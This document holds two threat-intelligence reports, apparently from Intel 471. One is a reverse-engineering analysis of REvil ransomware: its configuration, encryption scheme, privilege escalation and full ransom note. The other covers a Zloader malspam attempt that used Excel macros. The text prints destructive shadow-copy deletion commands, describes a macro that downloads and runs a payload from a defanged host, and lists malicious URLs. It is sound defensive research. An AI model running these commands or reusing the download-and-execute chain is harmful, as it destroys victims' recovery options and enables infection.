Dynamic detection of REvil samples is possible by running Yara signatures on the memory resident image. In addition, the ransomware creates the following interesting artifacts:

  • A .txt file with a ransom note on each directory encrypted by the ransomware.
  • A .bmp image in the temporary directory set as the desktop background after the encryption.
  • A registry key SOFTWARE which can be present under either HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER.
  • An alphanumeric file extension between 5 and 10 characters in length appended to the original extension of an encrypted file.

Yara Signatures

We decided not to release Yara signatures to avoid burning them and affecting the work of other researchers. However, we will release them to network defenders and infosec professionals upon request. Email us at revil-yara-reqREMOVEME@intel471[.]com (remove the “REMOVEME” text from the email address) from your corporate email address (for validation purposes only) and we will send through our Yara signatures.


REvil ransomware exploits a kernel privilege escalation vulnerability in win32k.sys tracked as CVE-2018-8453 to gain SYSTEM privileges on the infected host. If the configuration instructs a sample to execute this exploit, it will allocate executable memory, decrypt the exploit code in the newly allocated region and invoke it.

The screenshot below shows the window name sysshadow and the application programming interface (API) DestroyWindow inside the embedded exploit, proving it is the CVE-2018-8453 vulnerability.

Open Source Intelligence (OSINT)

For more information on REvil, we suggest the following public resources:

Static Analysis

REvil ransomware incorporates techniques to make the task of static analysis more difficult for an analyst. Most of the strings used during execution are decrypted at runtime only when needed. In addition, the imports are resolved dynamically from 32-bit hashes and placed into global variables early in execution.

Hard-coded Strings

Very few strings are hard coded inside REvil ransomware samples and the most interesting are:

  • L“ServicesActive”: This string is passed to the OpenSCManagerW API to retrieve active services.
  • “expand 32-byte kexpand 16-byte”: The constants used by the Salsa20 symmetric encryption algorithm.

String Encryption

REvil ransomware decrypts most of the strings it uses during execution at runtime.

As the screenshot above reveals, these strings are Rivest Cipher 4 (RC4) encrypted and are decrypted using a function we renamed to rc4_decrypt_string. Below is its prototype and the meaning of each parameter:

void rc4_decrypt_string(BYTE *rc4_array, int rc4_key_offset, int rc4_key_length, int buffer_length, BYTE *out_buffer)

  • rc4_array: A pointer to a contiguous array in the .data section containing the RC4 keys and the encrypted strings. Each RC4 key is followed directly by the string it decrypts.
  • rc4_key_offset: The offset to the RC4 key within the array.
  • rc4_key_length: The length of the RC4 key.
  • buffer_length: The length of the RC4 encrypted buffer.
  • out_buffer: Pre-allocated memory or stack space where the decrypted string is copied.

The image below shows the layout of two adjacent elements of the array:

The decrypted strings are not terminated by NULL characters, therefore, the code must terminate these strings explicitly.

Malware Behavior

The behavior of the following samples was analyzed for this report:

REvil packed6953d86d09cb8ed34856b56f71421471718ea923cd12c1e72224356756db2ef1
REvil not packed372c8276ab7cad70ccf296722462d7b8727e8563c0bfe4344184e1bc3afc27fc
REvil not packedec0c653d5e10fec936dae340bf97c88f153cc0cdf7079632a38a19c876f3c4fe

Process Execution

During its initialization phase, REvil starts by dynamically resolving the imports it needs to function correctly. This is accomplished in a loop that reads hard-coded 32-bit values from an array in the .data section, then each value is decoded and resolved to the correct API by the responsible function rvl_resolve_api. Then the 32-bit value is overwritten with the pointer to the API.

As shown in the disassembly above, additional APIs are resolved by their names with the help of the GetProcAddress API.

With everything in place, REvil creates a global mutual exclusion object (mutex) with a hard-coded name i.e., Global\1DE3C565-E22C-8190-7A66-494816E6C5F5. This is used to ensure only a single instance of the ransomware sample is running.

The REvil ransomware always attempts to run with elevated privileges and does so using two techniques. One technique relies on exploiting the CVE-2018-8453 vulnerability to gain SYSTEM privileges on the host. However, to determine whether it should execute the exploit or not, REvil checks its configuration. Another technique always is executed if the process is not elevated. It relies on calling ShellExecuteW to prompt the user to run the sample as an administrator. This is accomplished in an infinite loop until the user agrees to run the elevated process. Starting with version 2.1, the privilege escalation exploit code was removed.

REvil’s configuration is in JavaScript Object Notation (JSON) and is initially RC4 encrypted. It is stored in the following fashion at the beginning of a portable executable (PE) section named .yhwfq9:

It is important to mention the cyclic redundancy check (CRC32) value is calculated and validated for the encrypted configuration.

After decrypting the configuration in dynamically allocated memory, REvil parses it using the open-source json-parser C library (see: https://github.com/udp/json-parser). For an example of a REvil configuration, see the Appendix section below.

The first JSON field checked is exp, which can be true or false and indicates whether the CVE-2018-8453 vulnerability should be exploited. If the exploit isn’t executed or failed, REvil resorts to the second technique previously described in this section.

When REvil executes with higher privileges, it starts its main initialization phase where it reads the necessary JSON fields into the .data section and initializes registry values inside a new subkey named SOFTWARE. When doing registry operations in general, REvil first tries to use the HKEY_LOCAL_MACHINE hive and it switches to use HKEY_CURRENT_USER only if that fails. The configuration fields, registry keys and their values are described in the below Configuration section.

The other important task in this phase is filling the ransom note template, which is present in base64 inside the configuration field nbody.

---=== Welcome. Again. ===---

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension {EXT}.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).

[+] What guarantees? [+]

Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.
To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.
If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.

[+] How to get access on website? [+]

You have two ways:

1) [Recommended] Using a TOR browser!
  a) Download and install TOR browser from this site: https://torproject.org/
  b) Open our website: hxxp://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion/{UID}

2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this:
  a) Open your any browser (Chrome, Firefox, Opera, IE, Edge)
  b) Open our secondary website: hxxp://decryptor[.]cc/{UID}

Warning: secondary website can be blocked, thats why first variant much better and more available.

When you open our website, put the following data in the input form:


Extension name:



!!! DANGER !!!
DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.
!!! !!! !!!
ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.
!!! !!! !!!

REvil fills this template with a file extension (EXT), a user identifier (UID) and a key (KEY):

  • The extension is generated randomly from alphanumeric characters and is between 5 and 10 characters in length.
  • The user identifier is a hardware ID generated from the main volume’s serial number and the system’s CPU information. This ID is calculated as follows:
    • Retrieve the main volume 32-bit serial number.
    • Generate a CRC32 checksum of the volume serial with a seed value equal to 1337.
    • Retrieve central processing unit (CPU) information i.e., “Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz.”
    • Generate a CRC32 checksum of the CPU information string with the volume serial CRC32 hash as a seed value.
    • Concatenate the CPU information CRC32 hash with the volume serial number into a 16-byte hexadecimal string i.e., 8100F233BC097E90.
  • The key submitted by the victim to the operator through the website is a JSON string:

    "ver":"%d", #  REvil's version: hard coded to 0x200 (v2.00).
    "pid":"%s", #  The "pid" field in the configuration.
    "sub":"%s", #  The "sub" field in the configuration.
    "pk":"%s",  # The public key "pk" field in the configuration.
    "uid":"%s", #  The hardware ID.
    "sk":"%s",  # The victim's generated secret key encrypted with the  "pk" public key. This key is necessary for decryption.
    "unm":"%s", #  The username of the Windows account.
    "net":"%s", #  The computer name.
    "grp":"%s", #  The domain name.
    "lng":"%s", #  Language i.e., "fr-FR".
    "bro":%s,   # "true" or "false". Is immune to infection, whitelisted language and keyboard layout.
    "os":"%s",  # Windows product name.
    "bit":%d,   # CPU architecture: 86 or 64.
    "dsk":"%s", #  A base64 encoded structure with information on the mounted volumes.
    "ext":"%s"  # The encrypted files extension i.e., ".g19b9wy"

This is encrypted with a hard-coded public key in the binary code before it is stored in the registry and the template. It also is communicated to the controllers later in execution. See the Encryption section below for information on how REvil encrypts data.

Next, REvil checks the configuration field dbg to see if it’s running in debug mode. If that is not the case, geolocation checks based on the system’s language and the keyboard layout are conducted so the ransomware does not attempt to encrypt files on whitelisted systems. The following are whitelisted system language IDs for the analyzed sample:

The whitelisted keyboard layouts include:

  • Romanian
  • Russian
  • Ukrainian
  • Belarusian
  • Estonian
  • Latvian
  • Lithuanian
  • Tajik
  • Persian
  • Armenian
  • Azerbaijani
  • Georgian
  • Kazakh
  • Kyrgyz
  • Turkmen
  • Uzbek
  • Tatar

For the check to succeed and REvil to exit, both a whitelisted system language and a whitelisted keyboard layout must be present. Otherwise, the ransomware continues its execution normally.

At this stage, REvil performs the following actions before starting the encryption. First, it will try to stop and delete services if the names match one of the regular expressions in the svc JSON configuration list, for example:


Then it will terminate all processes with names that match the elements of the prc JSON array, for instance:


Finally REvil will delete the volume shadow copies. The way this is accomplished depends on the Windows version:

  • Windows versions 5.1 and earlier:

cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures

  • Windows versions 5.2 and later, under PowerShell:

Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

At this stage, REvil enters the file encryption phase. It is possible to run REvil with command-line arguments that will impact how encryption is carried out. The following table describes these arguments:

-fullEncrypts all the data in the target files.
-fastOnly encrypts the first MB of each file. Mutually exclusive with the -full argument.
-pathRecursively encrypts the files inside a single directory specified after the argument. The desktop background image remains unchanged when this argument is supplied.
-nolanDoes not encrypt files on shared network storage.
-nolocalDoes not encrypt files on local storage.

Two values that the et configuration field can take are equivalent to the command-line arguments -full and -fast. Additionally, the presence of one of these command-line arguments overrides the value of this field. Below are the values this field can take with a description of each value:

Encryption type valuesDescription
0Equivalent to the command-line argument -full
1Equivalent to the command-line argument -fast
2Encrypts 1 MB then skips the number of MBs supplied in the spsize field repeatedly, until the end of the file is reached.

Before encrypting a file or directory, REvil determines whether its name matches any entry in the whitelist configuration entries. The whitelisted folders, files and extensions are lists stored in the wht JSON configuration field as fld, fls and ext.

REvil ransomware also avoids encrypting a file more than once by determining if it previously was encrypted. This is achieved by examining whether the metadata it stores at the end of encrypted files exists.

To encrypt the files, REvil relies on multithreading and input/output (I/O) completion ports, allowing it to perform asynchronous I/O and process multiple files simultaneously.

Each file is encrypted with a different key derived from a single public key linked to the victim. See the Encryption section below for details on how REvil implements file encryption.

After the encryption is complete, REvil generates a bitmap image and sets it as the desktop background.

Afterward, REvil ransomware reads the Boolean configuration field net to determine whether it should communicate with its controllers. See the Communications section below for more details.

Finally, REvil ransomware marks its binary code for deletion during the next reboot and terminates execution.


The table below describes each field of the REvil JSON configuration:

pkThe attacker’s public key encoded in base64.
pidThe affiliate ID. In v2.0 and earlier, this was an integer. From 2.1 it became a Bcrypt hash.
subAn integer value. The campaign identifier.
dbgBoolean value that determines if REvil should run in debug mode.
etAn integer value specifying the encryption type.- 0: Fast encryption.  – 1: Full encryption. – 2: Encrypt 1 MB then skip the number of MBs specified by the spsize field.
spsizeSpecifies the number of MBs to skip when the encryption type is 2.
wipeA Boolean value that indicates whether REvil should wipe folders specified in the wfld element. We have not seen this option implemented in the analyzed samples.
wfldThe folders to be wiped by REvil.
whtContains three lists of elements that REvil will not encrypt: – fld: Whitelisted folders. – fls: Whitelisted files. – ext: Whitelisted extensions.
prcA list of regular expressions that REvil matches against processes to terminate them.
netIf this Boolean value is set to true, REvil communicates with its controllers.
dmnA string of controllers separated by a semicolon.
svcA list of regular expressions to match against running services to stop and delete them.
nbodyThe template of the ransom note encoded in base64.
nnameThe file name of the ransom note to be dropped inside encrypted directories.
expIndicates if REvil should exploit the CVE-2018-8453 vulnerability to escalate privileges.
imgThe text to be written in the background image encoded in base64.
arnWhen set to true, REvil persists in the system.

The registry values that REvil creates are described below:

Value nameDescription
1TfXkVictim’s secret key encrypted with the attacker’s public key present in the configuration.
2YEdLYVictim’s secret key encrypted with a master public key hard coded in the binary code.
aahThe attacker’s public key.
fdleThe victim’s public key.
AaZW1s3The extension appended to files after encryption.
QaUXNv2PThe victim’s key encrypted with a second hard-coded public key in the binary code.


REvil ransomware implements encryption schemes involving an elliptic curve called Curve25519, Salsa20, SHA-3, CRC32 and Advanced Encryption Standard (AES). We identified the specific open-source implementations utilized by REvil:

This subsection delves into the details of how these algorithms are used to encrypt data and files.

Encryption keys

REvil ransomware relies on Curve25519 to generate public and secret key pairs and to create shared keys for encryption. What follows defines the Curve25519 keys referred to throughout this subsection:

Key-pair nameDescription
crypt (crypt_public/crypt_secret)The victim’s main key pair used for file encryption.
file (file_public / file_secret)A random key pair generated for each encrypted file.
attacker (attacker_public / attacker_secret)The attacker’s key pair. attacker_public is present under the pk configuration field.
master (master_public / master_secret)The master key pair. master_public is hard coded inside the binary code and is the same across all REvil samples.
user_config (user_config_public / user_config_secret)The user configuration key pair. user_config_public is hard coded in the binary code and is used to encrypt the user key we find encrypted in the ransom note.
Data encryption

REvil ransomware encrypts all important data it stores in the registry. For instance, the user key present in the ransom note and in the registry is a JSON dictionary encrypted using the method we describe in the paragraphs that follow.

To encrypt a buffer, REvil invokes the following function:

BYTE* rvl_encrypt_data(BYTE *hispublic, BYTE *buffer, int buffer_length, BYTE *out_buffer_length)

This function requires a 32-byte Curve25519 public key, a buffer to encrypt and its length. The end result is a pointer to the buffer in the return value and its length in the output parameter out_buffer_length.

Internally, this function performs the following actions:

  • Allocate buffer_length bytes plus an extra 56 bytes to hold the final data.
  • Zero out the first 4 bytes of the allocated buffer.
  • Copy the buffer to encrypt after the zeroed double word.
  • Generate a new Curve25519 key pair we call new_public and new_secret.
  • Calculate a Curve25519 shared key between the hispublic key supplied in the arguments and the new_secret. The recipient of the message can use the secret key and new_public to obtain the same shared key.
  • Hash the shared key using the SHA-3 algorithm.
  • Clear the shared key from memory.
  • Clear new_secret from memory.
  • Generate a random 128-bit AES initialization vector.
  • Encrypt the buffer using AES with the SHA-3 hash as a key. The buffer to encrypt includes the prepended 32-bit NULL value.
  • Clear the SHA-3 hash from memory.
  • Calculate the CRC32 of the encrypted buffer.
  • Append the following elements to the encrypted buffer in this order:
    • The generated new_public key (32 bytes).
    • The initialization vector (16 bytes).
    • CRC32 of the encrypted buffer (4 bytes).

The end result looks like:

As an example, after decoding the user key present in the ransom note using base64, we see it respects this same format:

In order for the attackers to decrypt this data and retrieve the JSON dictionary and as a result the encrypted victim’s crypt_secret key, they must do the following:

  • Verify the CRC32 hash of the encrypted data.
  • Calculate a Curve25519 shared key using the new_public key in the data and the attacker’s secret user_config_secret.
  • Hash the shared key using SHA-3.
  • Retrieve the AES initialization vector and decrypt the buffer using AES.
  • Remove the NULL double word at the start of the buffer.

It is important to mention the victim’s crypt_secret key is encrypted the same way using the attacker’s attacker_public key (registry value “1TfXk”) and the master_public key (registry value “2YEdLY”).

File encryption

REvil ransomware encryption works by encrypting the files in 1 MB increments unless the file size is smaller, the remaining bytes to encrypt are less than 1 MB or when the encryption type specified is not full encryption. Contents of the file are read, encrypted and written back to the file overwriting the original content. After the encryption is complete, metadata is written to the end of file and the file is renamed to include the generated file extension (registry value AaZW1s3).

For each given file, REvil ransomware starts encryption by initializing a structure used throughout the process. Its first part includes the Windows OVERLAPPED structure used for asynchronous I/O followed by custom fields REvil uses. The most interesting part of this structure was reverse engineered to the following:

typedef struct _rvl_filecrypt_struct
    OVERLAPPED Overlapped;
    struct _rvl_metadata
        BYTE crypt_secret_w_attacker_pub[88]; // same as registry value "1TfXk".
        BYTE crypt_secret_w_master_pub[88]; // same as registry value "2YEdLY".
        BYTE file_public[32]; // The file_public key.
        BYTE salsa20_iv[8]; // salsa20 initialization vector.
        DWORD crc32_file_public; // CRC32 hash of file_public.
        DWORD et; // The encryption type.
        DWORD spsize; // spsize field if applicable.
        DWORD encrypted_null; // A NULL value encrypted with salsa20.
    } metadata;
} rvl_filecrypt_struct, *prvl_filecrypt_struct;

This metadata substructure is appended to the end of every encrypted file, is used by the decrypter and by REvil to verify a file previously was encrypted.

The Salsa20 symmetric encryption key is the SHA-3 hash of a shared key derived from the victim’s crypt_public key and the secret of a generated key pair: file_secret.

To decrypt a file, both the victim’s crypt_secret key and the file_public key must be known:

  • It is possible to decrypt the crypt_secret knowing either the operators’ attacker_secret or master_secret keys and by applying the same logic described in the Data encryption subsection.
  • It is possible to retrieve the per file file_public key from the end of an encrypted file after validating its CRC32 hash.
  • Having attained both a public and a secret key from previous steps, generate a shared Curve25519 key and hash it using SHA-3.
  • Copy the value of the Salsa20 initialization vector from the metadata structure at the end of the file.
  • Test decrypting the encrypted NULL double word with the SHA-3 hash as a key.
  • Determine the encryption type used to perform correct decryption of the file, then start decrypting accordingly.

By following this scheme, the attackers are sure not to divulge their secret keys when sending decrypters to victims. On their side, attackers only have to decrypt the victim’s crypt_secret key and send back a decrypter embedding this key.

Persistence mechanism

Prior to version 2.1, REvil ransomware persists on the machine if the arn configuration field is set to true. It writes its path to the registry key SOFTWARE for persistence. The value name of the entry for the analyzed sample is k51299BQXH.

Before terminating execution, REvil marks its executable file for deletion during the next reboot. As a result, the persistence path will become invalid.

The persistence mechanism was removed from REvil version 2.1.


REvil ransomware does not implement any protections.


REvil ransomware only initiates communication with its controllers when the configuration field net is set to true. In that case, REvil extracts the controller list from the dmn configuration string and proceeds to build a custom URL in a loop for each controller before initiating communications.

Each controller is preceded by the string https://, followed by a random path chosen from hard-coded values and then terminated by a random file name. The regular expression below matches all random URL paths generated by REvil ransomware:


REvil then proceeds to send a POST request containing the victim’s key stored in the registry value QaUXNv2P to the controllers. Afterward, the controller response is read into a buffer that subsequently is ignored and freed.


Appendix 1: REvil configuration

Example of a REvil configuration. We redacted most of the controllers for readability:

        "application data",
        "system volume information",
        "tor browser",

Anti-virus (AV) classifications

TrendMicro HouseCallWin32.SODINOKIB.SMTH

Analysis of an attempted attack against Intel 471

By the Intel 471 Malware Intelligence team.


The following write-up is our analysis of an attack attempted against one of our employees this week. At no point was our employee’s system at risk of being compromised. Interestingly, the employee’s email address only had been used in very few instances externally. We are releasing this information publicly to share tactics, techniques and procedures (TTPs) and encourage others to share similar incidents.


The threat actor that sent this malspam campaign demonstrated good operational security (OPSEC) by hiding their infrastructure behind professional bulletproof hosting (BPH) services and by filtering traffic to hide final payloads from curious researchers. The actor used a series of tools in this operation, including KeitaroTDS, a malicious Microsoft Excel spreadsheet document builder and the Zloader banking trojan (aka Terdot). 

Considering the nature of the malspam documents (usually named “Invoice”) and the use of a banking trojan, we assess the intended goal of the attackers was to make unauthorized bank transfers from victim accounts.

Email details

The following email was sent to ****@intel471.com 5:26:11 p.m. GMT, Monday, March 23, 2020:

FilenameMarch Incoming Invoice from Seed Records.eml
SHA256 hash5d1bb0aef5545138feb825d5b0669ccc4a68abb4323362f2fe188e86c62aeed0

The sender was an AOL mail account, using the AOL mail portal and a Windows machine using the Google Chrome browser (if the user agent can be trusted).

From: Annika Preston <mitchell.barbaraogde@aol.com>
To: ****@intel471.com

Message-ID: <973929450.719011.1584984371396@mail.yahoo.com>
Subject: March Incoming Invoice from Seed Records
MIME-Version: 1.0
Content-Type: multipart/mixed;        
References: <973929450.719011.1584984371396.ref@mail.yahoo.com>
X-Mailer: WebService/1.1.15518 aolwebmail Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36

Sender IP address

The mail was received from the Yahoo mail netspace. 

Received: from sonic313-9.consmr.mail.ne1.yahoo.com
(sonic313-9.consmr.mail.ne1.yahoo.com. [])  
by mx.google.com with ESMTPS id c76si12645930ilg.12.2020. for <****@intel471.com> (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Mon, 23 Mar 2020 10:26:16 -0700 (PDT)

Excel spreadsheet details

The spreadsheet’s metadata contained the following information:

Create time2020-02-27 10:23:09.379000
Last saved time2020-03-23 12:01:22

The document implemented malicious Excel 4.0 Macros (XLM) to download and execute the secondary stage payload.

These macros were present in a hidden sheet named “DiOAFArhpr”. The macros were written vertically, character-by-character inside different cells. This approach was employed to bypass detection since analysis tools can fail to retrieve the command strings.

The executed macros were:



=ALERT("The workbook cannot be opened or repaired 
     by Microsoft Excel because it's corrupt.",2)

The DLL at the location hxxps://grpxmqnrb[.]pw/egrg4g3g was retrieved and saved under “C:\Users\Public\fef2fff.html” before being executed.

As shown in the HTTP request below, the malicious server performed a redirection to the GitHub software development platform (GitHub was advised) and downloaded a dynamic link library (DLL) from a public repository.

GET /egrg4g3g HTTP/1.1
Host: grpxmqnrb[.]pw
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)Accept: */*

HTTP/1.1 302 Found
Server: nginx
Date: Tue, 24 Mar 2020 13:00:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache, no-store, must-revalidate,post-check=0,pre-check=0
Expires: 0
Last-Modified: Tue, 24 Mar 2020 13:00:34 GMT
Location: hxxps://github[.]com/arntsonl/calc_security_poc/raw/master/dll/calc.dll
Pragma: no-cache
Set-Cookie: _subid=357bngnes3kqn;
Expires=Friday, 24-Apr-2020 13:00:34 GMT;Max-Age=2678400;Path=/
X-Content-Type-Options: nosniff

Examining it revealed it does nothing but pop the Windows calculator.

Clearly, we have received a decoy payload. 

Network artifact research

The malicious Excel document contained a macro that downloaded a file from:


Creation Date2020-03-23T07:08:34.0Z
Expiration Date2021-03-23T23:59:59.0Z

The domain name probably was created solely for this campaign because it was created only days ago and appears to have no legitimate web presence.

An instance of KeitaroTDS (Traffic Directional System) was found on this domain:

The domain has the following DNS records:

grpxmqnrb[.]pw. 600 IN NS c.dnspod.com.
grpxmqnrb[.]pw. 600 IN NS b.dnspod.com.
grpxmqnrb[.]pw. 600 IN NS a.dnspod.com.
grpxmqnrb[.]pw. 600 IN A
grpxmqnrb[.]pw. 600 IN SOA a.dnspod.com. domainadmin.dnspod.com. 1584947588 3600 180 1209600 180

We can see the domain is administered via DNSPod, a product of Chinese company Tencent (https://dnspod.cloud.tencent.com/). 

The IP address in the address record or “A record” belongs to Alibaba Cloud aka Aliyun.

inetnum: –
netname:        ALICLOUD-GB
descr:          Aliyun Computing Co.LTD

This IP address was identified by our intelligence team as hosted by the well-known Russian-based BPH service yalishanda. The actor yalishanda’s service offers a reverse proxy network that abuses cloud providers, such as Alibaba-Cloud, Tencent Cloud, Google Cloud and others. The service uses the Chinese based free DNS provider DNSPOD to rotate client domains across the reverse proxy network. This can be thought of as a host-based fast-flux service. The fact the threat actors behind this attack have the ability to access and pay for BPH infrastructure lends more credence to the idea they are a somewhat capable and well-resourced group.

The following table contains information on the SSL certificate used by the domain:

Common namegrpxmqnrb[.]pw
IssuerLet’s Encrypt Authority X3
ValidFrom March 22, 2020 to June 20, 2020
Signature Algorithmsha256WithRSAEncryption
Serial Number041117a29a27b3b4bda2f53fd1d8ab9581d9

Passive DNS Results

Passive DNS results showed plenty of similar and recent activity associated with the IP address 8.208.28[.]247.

DomainFirst Seen
grpxmqnrb[.]pw2020-03-23 00:20:31Associated with this campaign and with Yalishanda bulletproof hosting infrastructure.
gfhudnjv[.]xyz2020-03-24 03:10:29Associated with Yalishanda bulletproof hosting infrastructure.
wgyafqtc[.]online2020-03-18 15:30:23Associated with similar Excel doc based campaign: https://www.virustotal.com/gui/file/34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa/detection
wgyvjbse[.]pw2020-03-18 14:45:51Confirmed Zloader controller domain name
botiq[.]xyz2020-03-18 14:46:16Confirmed Zloader controller domain name
dhteijwrb[.]host2020-03-17 07:55:04Linked directly to a very similar campaign: https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros. Associated with Yalishanda bulletproof hosting infrastructure.
tdvomds[.]pw2020-03-16 17:00:00Same type of activity: https://www.joesandbox.com/analysis/215946/0/html. Associated with Yalishanda bulletproof hosting infrastructure.
siloban[.]pw2020-03-17 07:54:50Linked to 161.117.177[.]248 which is a confirmed Zloader controller address and part of yalishanda’s fast-flux bulletproof hosting infrastructure. Also a confirmed Zloader controller domain name.
hxzfvomd[.]buzz2020-03-15 17:00:00Linked to several similar campaigns and associated with Yalishanda bulletproof hosting infrastructure.

Reconstructing the attack

We initially were unable to download the intended payload from hxxps://grpxmqnrb[.]pw/egrg4g3g, but by following the trail of infrastructure and record of activity, we were able to reproduce the steps and continue the investigation.

The file invoice-522.xls (SHA256: 34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa) was analyzed on the VirusTotal intelligence platform and found to communicate with the same IP address, although via a different domain and file path. This likely is a previous campaign by the same threat actor or group. 

This analysis provided a successful fetch of the initial payload: 06afeaf2b0b985e0d9e048ea8ef0231026cac4c03d3ddf45f6a4ab18d884505c

<html> <head><base href="/lander/excel4_1581586732/index.html"> <link rel="stylesheet" href="resource://content-accessible/plaintext.css"> </head> <body> =CLOSE(FALSE) </pre> </body> </html>

This payload is an exact match of the one received by Amirreza Niakanlahiji and Pedram Amini in their blog post on a previous campaign from the same actors (see: https://inquest.net/blog/2020/03/18/Getting-Sneakier-Hidden-Sheets-Data-Connections-and-XLM-Macros). They received a payload that contacted some unknown controllers:

  • hxxps://aquolepp[.]pw/milagrecf.php
  • hxxps://dhteijwrb[.]host/milagrecf.php

We recognized these as Zloader control server addresses because they are re-using the milagrecf.php file path for their controller URLs.

Was it possible our campaign was unrelated? As an analyst, one must always approach an investigation with a healthy dose of skepticism. A few instances of similar behavior can be coincidental. We should look for patterns of behavior to learn how the operation works. 

By pivoting on the response content, we found several similar URLs first seen recently:

First SeenAV ScoreURL
2020-03-190/ 76hxxps://wgyafqtc[.]online/fgwg24g24g
2020-03-194/ 76hxxps://tdvomds[.]pw/fgwg24g24g
2020-03-170/ 71hxxp://tdvomds[.]pw/12341324rfefv
2020-03-195/ 76hxxps://tdvomds[.]pw/12341324rfefv
2020-03-161/ 71hxxps://hxzfvomd[.]buzz/asf2f1ff
2020-03-161/ 71hxxp://hxzfvomd[.]buzz/asf2f1ff
2020-03-052/ 71hxxp://pjtcdnrd[.]pw/fsgbfgbfsg43
2020-03-050/ 71hxxps://pjtcdnrd[.]pw/fsgbfgbfsg43
2020-03-042/ 71hxxp://wrjmkdod[.]xyz/SDFwef2fvbbe

The pattern of behavior is becoming clear. Most of these domains can be linked to malicious Excel documents apparently created by the same malicious document builder. Based on the research, we can attribute some TTPs to this threat actor. 

Tactics, techniques and procedures

The threat actor proved to have access to many resources in the criminal underground and is comfortable with a range of tools to run the operation. The following TTPs were observed:

  • Hiding infrastructure behind BPH from the known vendor yalishanda. See Brian Krebs’ blog post on yalishanda here.
  • Using a malicious Excel document builder to craft documents for malspam campaigns.
  • Using KeitaroTDS for routing traffic and controlling campaign infrastructure. 
  • Using Zloader banking trojan for establishing control on victim machines and staging additional payloads such as hidden virtual network computing (HVNC) and launching web-injects. 
  • Using legitimate secure sockets layer (SSL) certificates signed by Let’s Encrypt. 

Indicators of compromise

These can be downloaded in CSV format here.

Download link from malicious Excel documenthxxps://wgyafqtc[.]online/fgwg24g24g
Download link from malicious Excel documenthxxps://tdvomds[.]pw/fgwg24g24g
Download link from malicious Excel documenthxxp://tdvomds[.]pw/12341324rfefv
Download link from malicious Excel documenthxxps://tdvomds[.]pw/12341324rfefv
Download link from malicious Excel documenthxxps://hxzfvomd[.]buzz/asf2f1ff
Download link from malicious Excel documenthxxp://hxzfvomd[.]buzz/asf2f1ff
Download link from malicious Excel documenthxxp://pjtcdnrd[.]pw/fsgbfgbfsg43
Download link from malicious Excel documenthxxps://pjtcdnrd[.]pw/fsgbfgbfsg43
Download link from malicious Excel documenthxxp://wrjmkdod[.]xyz/SDFwef2fvbbe
Yalishanda bulletproof hosting IP8.208.28[.]247
Yalishanda bulletproof hosting IP161.117.177[.]248
Zloader controller URLhxxps://aquolepp[.]pw/milagrecf.php
Zloader controller URLhxxps://barbeyo[.]xyz/milagrecf.php
Zloader controller URLhxxps://bhajkqmd[.]xyz/milagrecf.php
Zloader controller URLhxxps://botiq[.]xyz/milagrecf.php
Zloader controller URLhxxps://buhjike[.]host/milagrecf.php
Zloader controller URLhxxps://bwambztl[.]xyz/milagrecf.php
Zloader controller URLhxxps://dhteijwrb[.]host/milagrecf.php
Zloader controller URLhxxps://rizoqur[.]pw/milagrecf.php
Zloader controller URLhxxps://siloban[.]pw/milagrecf.php
Zloader controller URLhxxps://wgyvjbse[.]pw/milagrecf.php
Malicious Excel document samplecfe139d639d461fe731427e79bd7048849080d4d7d906d10fae764eb056f1f0b
Malicious Excel document samplef1ced9008d9de4109844d99fc924b6e3e4a4062ed37b52ce4b5baed430d004cf
Malicious Excel document sample4a5d8cde14f9e8c4f1a0cf514ca084528631d6caa8aa5282a4bf8f58dbf54f33
Malicious Excel document sample9e5edda543358b7ead2614ff75e23d2c271cb917a89003fa8733d9d730950507
Malicious Excel document sample30175739414fa301617ed6f0234992f1b3bc67a8547185cd332ad42c5a170486
Malicious Excel document sample34c5591a749636853aef4f9b3867560319d78ab530a332575fee88a85287dcfa
Zloader malware sample8021084f2d006101e0522f62de9c1e22ec55a6639e792dc7eff2826c013597a9
Zloader malware samplee81d729e1b810215940eb96e1de3e9500f522e9ba16bca2f9d49113fb462bb4d
Zloader malware sample0889271c721391d625a19391275f0e6bf244a5548a1a6eb673c6e16a48e960e1
Zloader malware sample3703d42ee0a6c4115295f14f3980cf205f7e6fb77ed0301c845431728015c812
Zloader malware sample3f2cf070e3740514c4e0dd431392a6727250a9ad3425c5b25ffad2d9d3b74716
Zloader malware sample66f49a261b6086dfdd1c3e2a21f7cb746aa35707490cbd64693d66383ba54c64
Zloader malware sample776fee630d6f89a7a01c5903de93fbd9f12f5cba8df148330a8c6f0cd267890b
Zloader malware sample945e3e4f52d30e07a281b20f96bf7150234c18aa4373c683dee74a194b57dcc0
Zloader malware samplea347f8b4a17dffa05a4fe9602cf99302201220e7000b5826798dd3d8db7b2b7f
Zloader malware sampleac60a7471ee5297b9cefb5b3d1c1dbec4b7bf328c8b8649529202a1381acb2a5